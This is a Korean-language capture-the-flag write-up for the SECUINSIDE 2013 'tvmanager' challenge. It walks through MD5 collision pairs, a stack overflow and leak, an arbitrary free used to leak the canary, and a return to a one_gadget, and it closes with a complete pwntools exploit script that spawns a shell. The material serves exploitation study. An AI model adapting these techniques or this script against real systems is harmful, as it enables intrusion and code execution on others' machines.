SECUINSIDE CTF 2013 - tvmanager

0x00. Introduction

[*] '/home/user/tvmanager'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Structure

struct movie {
    int size;
    int category;
    char *name;
    struct movie *next;
    struct movie *prev;
}

Concept

int __cdecl main(int argc, const char **argv, const char **envp)
{
  ...
  read(0, name, 0x20u);
  name_len = strlen(name);
  md5_1FAE((int)name, name_len, (int)name_md5);
  sprintf(src, "/home/tvmanager/%s", name_md5);
  mkdir(src, 0x1F0u);
  if ( chdir(src) != -1 ) {
    while ( 1 ) {
    load_movies_145F();
      print_list_214E((int)menu_list_409C);
      printf("> ");
      _isoc99_scanf("%d", &choice);
      if ( choice == 1 ) list_1821();
      if ( choice == 2 ) register_18B0();
      if ( choice == 3 ) broadcast_1DA7();
      if ( choice == 4 ) exit(0);
    }
  }
  return -1;
}

์ž…๋ ฅ๋ฐ›์€ ์ด๋ฆ„์„ md5๋กœ hashํ•ด์„œ ๊ฒฝ๋กœ๋ฅผ ๋งŒ๋“ค๊ณ , movie๋ฅผ ๋“ฑ๋กํ•  ๋•Œ ๋งˆ๋‹ค ๊ทธ ๋ฐ‘์— movie->name์˜ hash๊ฐ’์œผ๋กœ ํŒŒ์ผ์„ ๋งŒ๋“ค์–ด ๋‚ด์šฉ์„ ์ €์žฅํ•œ๋‹ค.

0x01. Vulnerability

MD5 collision

์—ฌ๋Ÿฌ ๊ฐ€์ง€ ์ทจ์•ฝ์ ์ด ์กด์žฌํ•˜๊ณ  ๊ทธ๊ฒƒ๋“ค์„ ์ข…ํ•ฉํ•ด์„œ exploit์„ ํ•ด์•ผํ•˜๋Š”๋ฐ ๊ทธ ์ค‘ ๊ฐ€์žฅ ๋จผ์ € ๋ด์•ผํ•  ๊ฒƒ์ด MD5 collision์ด๋‹ค.

collision์ด๋ž€ ์ž…๋ ฅํ•œ ๋ฌธ์ž์—ด์ด ๋‹ค๋ฅธ๋ฐ hashํ•œ ๊ฐ’์ด ๊ฐ™์€ ํ˜„์ƒ์„ ๋งํ•˜๋ฉฐ, ์ด ์ž…๋ ฅ๊ฐ’ ํ•œ ์Œ์„ ์ถฉ๋Œ์Œ์ด๋ผ๊ณ  ํ•œ๋‹ค. ๊ตฌ๊ธ€๋งํ•ด์„œ ์ฐพ์€ ์˜ˆ์‹œ๋กœ๋Š” ๋‹ค์Œ์ด ์žˆ๋‹ค.

# md5 collision - 79054025255fb1a26e4bc422aef54eb4
a1 = bytes.fromhex('d131dd02c5e6eec4693d9a0698aff95c2fcab58712467eab4004583eb8fb7f8955ad340609f4b30283e488832571415a085125e8f7cdc99fd91dbdf280373c5bd8823e3156348f5bae6dacd436c919c6dd53e2b487da03fd02396306d248cda0e99f33420f577ee8ce54b67080a80d1ec69821bcb6a8839396f9652b6ff72a70')
a2 = bytes.fromhex('d131dd02c5e6eec4693d9a0698aff95c2fcab50712467eab4004583eb8fb7f8955ad340609f4b30283e4888325f1415a085125e8f7cdc99fd91dbd7280373c5bd8823e3156348f5bae6dacd436c919c6dd53e23487da03fd02396306d248cda0e99f33420f577ee8ce54b67080280d1ec69821bcb6a8839396f965ab6ff72a70')

์–ผ์ถ” ๋น„์Šทํ•ด๋ณด์ด์ง€๋งŒ ์ž์„ธํžˆ ๋ณด๋ฉด ์ค‘๊ฐ„์ค‘๊ฐ„ ๋ช‡ ๋ฐ”์ดํŠธ๊ฐ€ ๋‹ค๋ฅด๋‹ค. ์—ฌ๋‹ด์œผ๋กœ ์ค‘๊ฐ„์ค‘๊ฐ„ ๋‹ค๋ฅธ ๋ช‡ ๋ฐ”์ดํŠธ๊ฐ€ \x00์ด๋‚˜ \xff์ผ ๊ฒฝ์šฐ ๋ฌธ์ œ ๋‚ด์—์„œ strcpy()๋‚˜ fread()๋ฅผ ํ•˜๋Š” ๊ณผ์ •์—์„œ ๋Š๊ธฐ๊ธฐ ๋•Œ๋ฌธ์— ์ƒ๋‹นํžˆ ๊ณจ์น˜์•„ํŒŒ์ง€๋Š”๋ฐ, ์ด๋ฅผ ์ž˜ ํ”ผํ•ด์„œ ์ถฉ๋Œ์Œ์„ ๊ตฌํ•˜๋Š” ๊ฒƒ์ด ์ข‹๋‹ค.

์ด๋ ‡๊ฒŒ hash๊ฐ’์ด ๊ฐ™์€ ์ถฉ๋Œ์Œ์„ ์ด๋ฆ„์œผ๋กœ movie๋ฅผ ๋“ฑ๋กํ•˜๊ฒŒ ๋˜๋ฉด,

int register_18B0()
{
  ...
  printf("Input title of movie > ");
  read(0, src, 256u);
  ...
    if ( !strcmp(movie_ptr->name, src) )
    {
      puts("[-] Duplicate title");
      return -1;
    }
    ...
      name_ptr = (size_t)malloc(src_len + 1);
      movie_new = (struct movie *)malloc(0x14u);
      movie_new->name = (char *)name_ptr;
      strcpy(movie_new->name, src);
      name_len = strlen(movie_new->name);
      md5_1FAE((int)movie_new->name, name_len, (int)src);
      fd = fopen(src, "wb");
      fwrite(contents, 1u, movie_new->size, fd);
      fclose(fd);
    ...
}

์ž…๋ ฅํ•œ ๋ฌธ์ž์—ด์€ ๋‹ค๋ฅด๊ธฐ ๋•Œ๋ฌธ์— strcmp(movie_ptr->name, src) ๊ฒ€์‚ฌ๋Š” ํ†ต๊ณผํ•˜๊ฒŒ ๋˜๊ณ , hashํ•œ ๊ฐ’์€ ๊ฐ™๊ธฐ ๋•Œ๋ฌธ์— fd = fopen(src, "wb")์—์„œ ๊ฐ™์€ ํŒŒ์ผ์„ ์—ด๊ฒŒ ๋œ๋‹ค.

์ด๋Ÿฌ๋ฉด ๋‹ค์Œ ์ทจ์•ฝ์ ์„ triggerํ•  ์ˆ˜ ์žˆ๋‹ค.

Stack Overflow & Leak

์ฒซ ๋ฒˆ์งธ movie_1์˜ size๋Š” 0x4, ๋‘ ๋ฒˆ์งธ movie_2์˜ size๋Š” 0x1000์œผ๋กœ ์ƒ์„ฑํ–ˆ๋‹ค๊ณ  ๊ฐ€์ •ํ•˜์ž.

int broadcast_1DA7()
{
  ...
  char stack_buf[1024]; // [esp+24h] [ebp-414h] BYREF
  size_t size; // [esp+424h] [ebp-14h]
  void *contents; // [esp+428h] [ebp-10h]
  unsigned int canary; // [esp+42Ch] [ebp-Ch]
  ...
    canary = __readgsdword(0x14u);
    md5_1FAE((int)movie_ptr->name, v1, (int)src);
    fd = fopen(src, "rb");
    if ( size > 0x3ff ) {
      contents = malloc(size + 1);
      fread(contents, 1u, size, fd);
      sock_send_2038(contents, movie_ptr->size);
    }
    else {
      for ( i = 0; ; ++i )
      {
        tmp = fgetc(fd);
        if ( tmp == (char)'\xFF' )
          break;
        stack_buf[i] = tmp;
      }
      sock_send_2038(stack_buf, movie_ptr->size);
    }
  ...
}

๊ทธ๋Ÿฌ๋ฉด movie_1๋กœ broadcast๋ฅผ ํ–ˆ์„ ๋•Œ size๊ฐ€ 0x4์ด๋ฏ€๋กœ stack_buf์— ํŒŒ์ผ ๋‚ด์šฉ์„ ์ฝ์–ด ํ•œ ๋ฐ”์ดํŠธ์”ฉ ๋ณต์‚ฌํ•˜๊ฒŒ ๋œ๋‹ค. ๊ทธ๋Ÿฐ๋ฐ movie_1์„ ์ƒ์„ฑํ•˜๊ณ  movie_2๋ฅผ ์ƒ์„ฑํ–ˆ์œผ๋ฏ€๋กœ ํ˜„์žฌ ํŒŒ์ผ์—๋Š” 0x1000๋ฐ”์ดํŠธ ๊ธธ์ด์˜ ๋‚ด์šฉ์ด ์“ฐ์—ฌ์ ธ ์žˆ์„ ๊ฒƒ์ด๋‹ค. ์œ„ ์ฝ”๋“œ์—์„œ๋Š” \xff๊ฐ€ ๋‚˜์˜ฌ ๋•Œ๊นŒ์ง€ stack_buf์— ๋ณต์‚ฌ๋ฅผ ํ•˜๋ฏ€๋กœ stack_buf ๋’ค์˜ size, contents๋Š” ๋ฌผ๋ก  return address๊นŒ์ง€๋„ ๋ฎ์„ ์ˆ˜ ์žˆ๋‹ค.

์ด๋ ‡๊ฒŒ ์•„์˜ˆ overflow๋ฅผ ๋‚ด๋ฒ„๋ฆฌ๊ฑฐ๋‚˜ ๋‹ค๋ฅธ ๊ฐ’๋“ค์„ leakํ•  ์ˆ˜ ์žˆ๋Š”๋ฐ, ์ด๋ฒˆ์—๋Š” movie_1์˜ size๋Š” 0x3ff, movie_2์˜ size๋Š” 0x400์œผ๋กœ ์ƒ์„ฑํ•œ ์ƒํ™ฉ์„ ๊ฐ€์ •ํ•ด๋ณด์ž. ์ด ๋•Œ movie_2์˜ ๋‚ด์šฉ ์ฒซ ๋ฐ”์ดํŠธ๋ฅผ \xff๋กœ ํ•œ๋‹ค๋ฉด ๋ฐ”๋กœ ๋ณต์‚ฌ๊ฐ€ ์ข…๋ฃŒ๋˜์–ด ํ•œ ๋ฐ”์ดํŠธ๋„ ๋ฐ”๊พธ์ง€ ์•Š์€ stack์˜ ์ƒํ™ฉ์„ ๋ณผ ์ˆ˜ ์žˆ๋‹ค.

gefโžค  x/4wx $esp+0x24
0xffffd864:     0x5655b6a0      0x5655b210      0x41414141      0x41414141
...
0xffffdc70:     0xf7dde000      0xf7dde000      0xffffdcf8      0x56556438

๋ณต์‚ฌ๋ฅผ ํ•˜๋Š” ์‹œ์ ์˜ stack ๊ฐ’๋“ค์„ ๋ณด๋ฉด ๋‹ค๋ฅธ ๋™์ž‘์„ ํ•˜๋‹ค๊ฐ€ ์“ฐ์—ฌ์ง„ ๋งค๋ ฅ์ ์ธ ๊ฐ’๋“ค์ด ๋งŽ์ด ์žˆ๋Š”๋ฐ, ํ•œ ๋ฒˆ์˜ leak์œผ๋กœ stack, libc, code, heap ์˜์—ญ์— ๋Œ€ํ•œ leak์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

๋ฌธ์ œ๋Š” canary์ธ๋ฐ, ์ด ๋•Œ๋ฌธ์— stack leak์ด ํ•„์š”ํ•˜์ง€๋งŒ movie_1์˜ size๊ฐ€ 0x3ff๋ณด๋‹ค ํฌ๋ฉด ์ทจ์•ฝ์ ์ด ์„ฑ๋ฆฝํ•˜์ง€ ์•Š์œผ๋ฏ€๋กœ ์ด ๋ฐฉ๋ฒ•์œผ๋กœ๋Š” ๋ถˆ๊ฐ€๋Šฅํ•˜๋‹ค. ๋”ฐ๋ผ์„œ ๋‹ค๋ฅธ ์ทจ์•ฝ์ ์ด ํ•„์š”ํ•˜๋‹ค.

Arbitrary Free

int broadcast_1DA7()
{
  ...
  char stack_buf[1024]; // [esp+24h] [ebp-414h] BYREF
  size_t size; // [esp+424h] [ebp-14h]
  void *contents; // [esp+428h] [ebp-10h]
...
      for ( i = 0; ; ++i )
      {
        tmp = fgetc(fd);
        if ( tmp == (char)'\xFF' )
          break;
        stack_buf[i] = tmp;
      }
    ...
    if ( size > 0x3ff )
      free(contents);
    ...
}

์ง์ „์˜ stack overflow ์ทจ์•ฝ์ ์„ ์ด์šฉํ•˜๋ฉด size์™€ contents๋ฅผ ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ๋‹ค.

๋งˆ์ฐฌ๊ฐ€์ง€๋กœ ์ง์ „์˜ leak์„ ์ž˜ ์ˆ˜ํ–‰ํ–ˆ๋‹ค๋ฉด heap์— ๋Œ€ํ•œ ์ฃผ์†Œ๊ฐ’์ด ์žˆ์œผ๋ฏ€๋กœ, size๋ฅผ 0x3ff๋ณด๋‹ค ํฐ ๊ฐ’์œผ๋กœ ์กฐ์ž‘ํ•˜๊ณ  offset์„ ๊ณ„์‚ฐํ•ด์„œ contents๊ฐ’์„ ์กฐ์ž‘ํ•˜๋ฉด heap์˜ ์•„๋ฌด chunk๋‚˜ free()ํ•  ์ˆ˜ ์žˆ๊ฒŒ๋œ๋‹ค. ์ด๋ ‡๊ฒŒ free๋œ chunk๋Š” bin์œผ๋กœ ๊ฐ€์„œ ๊ฐ™์€ ์‚ฌ์ด์ฆˆ์˜ malloc()์š”์ฒญ์ด ์žˆ์„ ๋•Œ ๊ทธ๋Œ€๋กœ ์‚ฌ์šฉ๋˜๋ฏ€๋กœ ์šฐ๋ฆฌ๊ฐ€ ์›ํ•˜๋Š” ๊ธธ์ด๋งŒํผ malloc()์„ ํ•  ์ˆ˜ ์žˆ๋Š” ๋ถ€๋ถ„์„ ์ฐพ์•„๋ณด๋ฉด,

int register_18B0()
{
  ...
  read(0, src, 256u);
      ...
      name_ptr = (size_t)malloc(src_len + 1);
      movie_new->name = (char *)name_ptr;
      strcpy(movie_new->name, src);
      ...
}

register()์—์„œ movie์˜ ์ด๋ฆ„์„ ์ €์žฅํ•˜๊ธฐ ์œ„ํ•œ name_ptr์˜ ์‚ฌ์ด์ฆˆ๋ฅผ ์šฐ๋ฆฌ๊ฐ€ ์กฐ์ ˆํ•  ์ˆ˜ ์žˆ๊ณ , ๋‚ด์šฉ๋„ ์ž…๋ ฅํ•  ์ˆ˜ ์žˆ๋‹ค. ์ด๋ฅผ ์ด์šฉํ•ด์„œ canary๋ฅผ leakํ•  ์ˆ˜ ์žˆ๋‹ค.

์ดํ›„์—๋Š” ๋‹ค์‹œ stack overflow ์ทจ์•ฝ์ ์„ ์ด์šฉํ•ด์„œ eip control์„ ํ•˜๋ฉด ๋œ๋‹ค.

0x02. Exploit

Stack Leak

๊ฐ€์žฅ ๋จผ์ € ํ•  ๊ฒƒ์€ md5 collision์„ ์ด์šฉํ•œ stack leak์ด๋‹ค.

    # md5 collision - 79054025255fb1a26e4bc422aef54eb4
    a1 = bytes.fromhex('d131dd02c5e6eec4693d9a0698aff95c2fcab58712467eab4004583eb8fb7f8955ad340609f4b30283e488832571415a085125e8f7cdc99fd91dbdf280373c5bd8823e3156348f5bae6dacd436c919c6dd53e2b487da03fd02396306d248cda0e99f33420f577ee8ce54b67080a80d1ec69821bcb6a8839396f9652b6ff72a70')
    a2 = bytes.fromhex('d131dd02c5e6eec4693d9a0698aff95c2fcab50712467eab4004583eb8fb7f8955ad340609f4b30283e4888325f1415a085125e8f7cdc99fd91dbd7280373c5bd8823e3156348f5bae6dacd436c919c6dd53e23487da03fd02396306d248cda0e99f33420f577ee8ce54b67080280d1ec69821bcb6a8839396f965ab6ff72a70')

    # stack, heap, libc leak
    register(s, a1, 1, 0x3ff, b"A" * 0x3ff)          # index 1
    register(s, a2, 1, 0x400, b"\xff" * 0x400)       # index 2

    l = listen(7777)
    broadcast(s, 1, 0, 1, 7777)
    r = l.recv()

์ด๋ ‡๊ฒŒ movie_1์„ 0x3ff, movie_2๋ฅผ 0x400์œผ๋กœ ์ƒ์„ฑํ•˜๊ณ  movie_2์˜ ๋‚ด์šฉ์„ \xff์œผ๋กœ ๋งŒ๋“ค์–ด์„œ ํ•œ ๋ฐ”์ดํŠธ๋„ ๋ณต์‚ฌ๋ฅผ ํ•˜์ง€ ์•Š๊ฒŒ๋” ๊ตฌ์„ฑํ•˜๋ฉด, stack_buf๋กœ๋ถ€ํ„ฐ 0x3ff ๋ฐ”์ดํŠธ์˜ ์˜ค์—ผ๋˜์ง€ ์•Š์€ stack leak์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

์—ฌ๊ธฐ์—์„œ ๋‚ด์šฉ์„ ๊ทธ๋ƒฅ ์ถœ๋ ฅํ•ด์ฃผ๋Š” ๊ฒƒ์ด ์•„๋‹Œ broadcast๋กœ IP, port๋ฅผ ์ง€์ •ํ•ด์„œ socket์œผ๋กœ ๋ณด๋‚ด์ฃผ๊ธฐ ๋•Œ๋ฌธ์— pwntools์˜ listen()์„ ์‚ฌ์šฉํ–ˆ๋‹ค.

[+] Trying to bind to :: on port 7777: Done
[+] Waiting for connections on :::7777: Got connection from ::ffff:172.17.0.2 on port 39690
[*] heap : 0x5655a000
[*] stack : 0xffffdc48
[*] libc : 0xf7c2b000

Arbitrary Free

์ด์ œ leak๋œ ๊ฐ’๋“ค์„ ๋ฐ”ํƒ•์œผ๋กœ arbitrary free๋ฅผ ํŠธ๋ฆฌ๊ฑฐํ•ด์•ผํ•˜๋Š”๋ฐ, ์‚ฌ์‹ค์ƒ ๊ฐ™์€ ์ทจ์•ฝ์ ์„ ์‚ฌ์šฉํ•˜์ง€๋งŒ ์ถฉ๋Œ์Œ์„ ์žฌํ™œ์šฉํ•˜๋Š” ๊ฒƒ์ด ์–ด๋ ค์šฐ๋ฏ€๋กœ ์ƒˆ๋กœ์šด ์ถฉ๋Œ์Œ์„ ์‚ฌ์šฉํ–ˆ๋‹ค.

    # md5 collision - cee9a457e790cf20d4bdaa6d69f01e41
    b1 = bytes.fromhex('0e306561559aa787d00bc6f70bbdfe3404cf03659e704f8534c00ffb659c4c8740cc942feb2da115a3f4155cbb8607497386656d7d1f34a42059d78f5a8dd1ef')
    b2 = bytes.fromhex('0e306561559aa787d00bc6f70bbdfe3404cf03659e744f8534c00ffb659c4c8740cc942feb2da115a3f415dcbb8607497386656d7d1f34a42059d78f5a8dd1ef')

    # free(movie_1)
    register(s, b1, 1, 0x4, b"BBBB")                # index 3
    payload = b"C" * 0x400                          # buf
    payload += p32(0x400)                           # size
    payload += p32(heap + 0x11f8)                   # contents, movie_1
    register(s, b2, 1, len(payload), payload)       # index 4

    broadcast(s, 3, 0, 1, 7777)

์œ„ payload๊ณผ ๊ฐ™์ด free๋ฅผ ์œ„ํ•ด size๋ฅผ 0x400์œผ๋กœ ์กฐ์ž‘ํ–ˆ๊ณ  movie_1์„ freeํ•˜๊ธฐ ์œ„ํ•ด contents ๊ฐ’์„ ์กฐ์ž‘ํ–ˆ๋‹ค. ์ด free๋œ chunk๋ฅผ ๋‹ค์‹œ ํ• ๋‹น๋ฐ›๊ธฐ ์œ„ํ•ด์„œ,

    # canary leak
    payload = b"DDDD"                   # size
    payload += b"\xff\xff\xff\xff"      # category
    payload += p32(stack + 0xa5)        # name, canary
    payload += p32(heap + 0x16a0)       # next, movie_2
    payload += b"EEE\x00"               # prev
    register(s, payload, 1, 0x4, b"XXXX")           # index 5

name์ด struct movie์™€ ๊ฐ™์€ ๊ตฌ์กฐ๊ฐ€ ๋˜๊ฒŒ๋” payload๋ฅผ ์ž‘์„ฑํ•ด์„œ register๋ฅผ ์‹คํ–‰ํ–ˆ๋‹ค.

์ด ๋•Œ category ๊ฐ’์„ ๊ทธ๋ƒฅ 1๋กœ ํ•˜๋ ค๊ณ  ํ–ˆ๋Š”๋ฐ strcpy(movie_new->name, src);๋ฅผ ํ†ตํ•ด์„œ name์— ๋ณต์‚ฌ๋˜๊ธฐ ๋•Œ๋ฌธ์— ์ค‘๊ฐ„์— \x00์ด ์žˆ์œผ๋ฉด ๋’ค payload๊ฐ€ ์งค๋ฆฌ๊ฒŒ ๋œ๋‹ค. ๊ทธ๋ ‡๋‹ค๊ณ  category ๊ฐ’์„ 0x41414141๊ณผ ๊ฐ™์€ dummy ๊ฐ’์œผ๋กœ ์ฑ„์šฐ๋ฉด leak์„ ์œ„ํ•ด์„œ ์‹คํ–‰ํ•˜๋Š” list์—์„œ OOB ์—๋Ÿฌ๊ฐ€ ๋ฐœ์ƒํ•œ๋‹ค.

int list_1821()
{
  ...
  while ( movie_ptr )
  {
    printf("%d )\nTitile : %s\nCategory : %s\n", count + 1, movie_ptr->name, category_list_40B0[movie_ptr->category]);
    movie_ptr = (struct movie *)movie_ptr->next_movie;
    ++count;
  }
  ...
}

๊ทธ๋ž˜์„œ -1์„ ์˜๋ฏธํ•˜๋Š” \xff\xff\xff\xff๋กœ ๋ฎ์–ด์„œ ๋‘ ์ œ์•ฝ์„ ํ•œ ๋ฒˆ์— ํ•ด๊ฒฐํ–ˆ๋‹ค. ์ด ์ƒํƒœ๋กœ list๋ฅผ ํ˜ธ์ถœํ•˜๋ฉด movie_ptr->name์ด canary์˜ ์ฃผ์†Œ๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋ฏ€๋กœ canary leak์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

[*] canary : 0x72657400

EIP Control

์ด์ œ ํ•„์š”ํ•œ ๋ชจ๋“  ์ •๋ณด๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ์œผ๋ฏ€๋กœ eip control์ด ๊ฐ€๋Šฅํ•˜๊ณ , ์‹คํ–‰์‹œํ‚ฌ ๊ณณ์€ one_gadget์„ ํ†ตํ•ด์„œ ์“ธ๋งŒํ•œ ์ฃผ์†Œ๋กœ ์„ค์ •ํ–ˆ๋‹ค.

๊ทธ๋Ÿฌ๋ฉด ์ตœ์ข… payload๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

    # md5 collision - fe6c446ee3a831ee010f33ac9c1b602c
    c1 = bytes.fromhex('3775C1F1C4A75AE79CE0DE7A5B10802602ABD939C96C5F0212C27FDACD0DA3B08CEDFAF3E1A3FDB4EF09E7FBB1C3991DCD91C845E66EFD3DC7BB61523EF4E03849118569EBCC179C934F40EB3302AD20A4092DFB15FA201DD1DB17CDDD29591E39899EF679469FE68B85C5EFDE424F46C278759D8B65F450EA21C5591862FF7B')
    c2 = bytes.fromhex('3775C1F1C4A75AE79CE0DE7A5B10802602ABD9B9C96C5F0212C27FDACD0DA3B08CEDFAF3E1A3FDB4EF09E7FBB1439A1DCD91C845E66EFD3DC7BB61D23EF4E03849118569EBCC179C934F40EB3302AD20A4092D7B15FA201DD1DB17CDDD29591E39899EF679469FE68B85C5EFDEC24E46C278759D8B65F450EA21C5D91862FF7B')

    # eip control
    register(s, c1, 1, 0x4, b"FFFF")                # index 6
    payload = b"G" * 0x400              # buf
    payload += p32(0)                   # size
    payload += p32(0)                   # contents
    payload += p32(canary)              # canary
    payload += b"H" * 0xc               # dummy
    payload += p32(libc + 0x5fbd5)      # return
    register(s, c2, 1, len(payload), payload)       # index 7

    broadcast(s, 6, 0, 1, 7777)

์—ฌ๊ธฐ์—์„œ๋„ ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ ์ƒˆ๋กœ์šด ์ถฉ๋Œ์Œ์ด ํ•„์š”ํ•˜๊ณ  leakํ•œ libc ์ฃผ์†Œ์— one shot ๊ฐ€์ ฏ์˜ offset์„ ๋”ํ•ด์„œ return address์— ์จ์ฃผ๋ฉด ์‰˜์„ ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹ค.

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
import sys, os, socket, threading

DEBUG = True
BINARY = "tvmanager"
LIBRARY = "libc-2.23.so"

code_base = 0x56555000
movie_4100 = 0x56559100
src_4120 = 0x56559120
bp = {
    'read_of_main' : code_base + 0x134B,
    'scanf_of_main' : code_base + 0x13F7,
    'load_movies' : code_base + 0x145F,
    'list' : code_base + 0x1821,
    'register' : code_base + 0x18B0,
    'md5_of_register' : code_base + 0x1BB1,
    'strlen_of_register' : code_base + 0x1B17,
    'broadcast' : code_base + 0x1DA7,
    'malloc_of_broadcast' : code_base + 0x1F1F,
    'end_of_broadcast' : code_base + 0x1FAC,
    'sizecheck_of_broadcast' : code_base + 0x1F86,
}
gs = f'''
b *{bp['scanf_of_main']}
b *{bp["end_of_broadcast"]}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def login(s, name):
    s.recvuntil(b"> ")
    s.send(name)
    return s.recvuntil(b"> ")

def _list(s):
    s.sendline(b"1")
    sleep(0.1)
    return s.recvuntil(b"> ")

def register(s, title, category, size, contents):
    s.sendline(b"2")
    s.recvuntil(b"> ")
    s.send(title)
    s.recvuntil(b"> ")
    s.sendline(str(category).encode())
    s.recvuntil(b"> ")
    s.send(str(size).encode())
    sleep(0.1)
    s.send(contents)
    return s.recv()

def broadcast(s, index, floor, room, channel):
    s.sendline(b"3")
    s.recvuntil(b"> ")
    s.sendline(str(index).encode())
    s.recvuntil(b"> ")
    s.sendline(f"{floor}-{room}-{channel}".encode())
    return s.recv(timeout=5)

def main():
    if(len(sys.argv) > 1):
        s = remote("0.0.0.0", int(sys.argv[1]))
        pid = os.popen(f"sudo docker top {BINARY} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
        if DEBUG:
            gdb.attach(int(pid), gs, exe=BINARY, sysroot="./")
    else:
        s = process(BINARY)
        if DEBUG:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)

    login(s, os.urandom(4))
    # md5 collision - 79054025255fb1a26e4bc422aef54eb4
    a1 = bytes.fromhex('d131dd02c5e6eec4693d9a0698aff95c2fcab58712467eab4004583eb8fb7f8955ad340609f4b30283e488832571415a085125e8f7cdc99fd91dbdf280373c5bd8823e3156348f5bae6dacd436c919c6dd53e2b487da03fd02396306d248cda0e99f33420f577ee8ce54b67080a80d1ec69821bcb6a8839396f9652b6ff72a70')
    a2 = bytes.fromhex('d131dd02c5e6eec4693d9a0698aff95c2fcab50712467eab4004583eb8fb7f8955ad340609f4b30283e4888325f1415a085125e8f7cdc99fd91dbd7280373c5bd8823e3156348f5bae6dacd436c919c6dd53e23487da03fd02396306d248cda0e99f33420f577ee8ce54b67080280d1ec69821bcb6a8839396f965ab6ff72a70')
    # md5 collision - cee9a457e790cf20d4bdaa6d69f01e41
    b1 = bytes.fromhex('0e306561559aa787d00bc6f70bbdfe3404cf03659e704f8534c00ffb659c4c8740cc942feb2da115a3f4155cbb8607497386656d7d1f34a42059d78f5a8dd1ef')
    b2 = bytes.fromhex('0e306561559aa787d00bc6f70bbdfe3404cf03659e744f8534c00ffb659c4c8740cc942feb2da115a3f415dcbb8607497386656d7d1f34a42059d78f5a8dd1ef')
    # md5 collision - fe6c446ee3a831ee010f33ac9c1b602c
    c1 = bytes.fromhex('3775C1F1C4A75AE79CE0DE7A5B10802602ABD939C96C5F0212C27FDACD0DA3B08CEDFAF3E1A3FDB4EF09E7FBB1C3991DCD91C845E66EFD3DC7BB61523EF4E03849118569EBCC179C934F40EB3302AD20A4092DFB15FA201DD1DB17CDDD29591E39899EF679469FE68B85C5EFDE424F46C278759D8B65F450EA21C5591862FF7B')
    c2 = bytes.fromhex('3775C1F1C4A75AE79CE0DE7A5B10802602ABD9B9C96C5F0212C27FDACD0DA3B08CEDFAF3E1A3FDB4EF09E7FBB1439A1DCD91C845E66EFD3DC7BB61D23EF4E03849118569EBCC179C934F40EB3302AD20A4092D7B15FA201DD1DB17CDDD29591E39899EF679469FE68B85C5EFDEC24E46C278759D8B65F450EA21C5D91862FF7B')

    # stack, heap, libc leak
    register(s, a1, 1, 0x3ff, b"A" * 0x3ff)         # index 1
    register(s, a2, 1, 0x400, b"\xff" * 0x400)      # index 2

    l = listen(7777)
    broadcast(s, 1, 0, 1, 7777)
    r = l.recv()

    heap = u32(r[0:4]) - 0x16a0
    stack = u32(r[0x324:0x328])
    libc = u32(r[0x320:0x324]) - 0x1b3da7
    log.info(f"heap : {hex(heap)}")
    log.info(f"stack : {hex(stack)}")
    log.info(f"libc : {hex(libc)}")

    # free(movie_1)
    register(s, b1, 1, 0x4, b"BBBB")                # index 3
    payload = b"C" * 0x400              # buf
    payload += p32(0x400)               # size
    payload += p32(heap + 0x11f8)       # contents, movie_1
    register(s, b2, 1, len(payload), payload)       # index 4

    broadcast(s, 3, 0, 1, 7777)

    # canary leak
    payload = b"DDDD"                   # size
    payload += b"\xff\xff\xff\xff"      # category
    payload += p32(stack + 0xa5)        # name
    payload += p32(heap + 0x16a0)       # next
    payload += b"EEE\x00"               # prev
    register(s, payload, 1, 0x4, b"XXXX")           # index 5

    r = _list(s)
    canary = u32(b"\x00" + r[0x3a:0x3d])
    log.info(f"canary : {hex(canary)}")

    # eip control
    register(s, c1, 1, 0x4, b"FFFF")                # index 6
    payload = b"G" * 0x400              # buf
    payload += p32(0)                   # size
    payload += p32(0)                   # contents
    payload += p32(canary)              # canary
    payload += b"H" * 0xc               # dummy
    payload += p32(libc + 0x5fbd5)      # return
    register(s, c2, 1, len(payload), payload)       # index 7
    
    broadcast(s, 6, 0, 1, 7777)
    
    s.interactive()

if __name__=='__main__':
    main()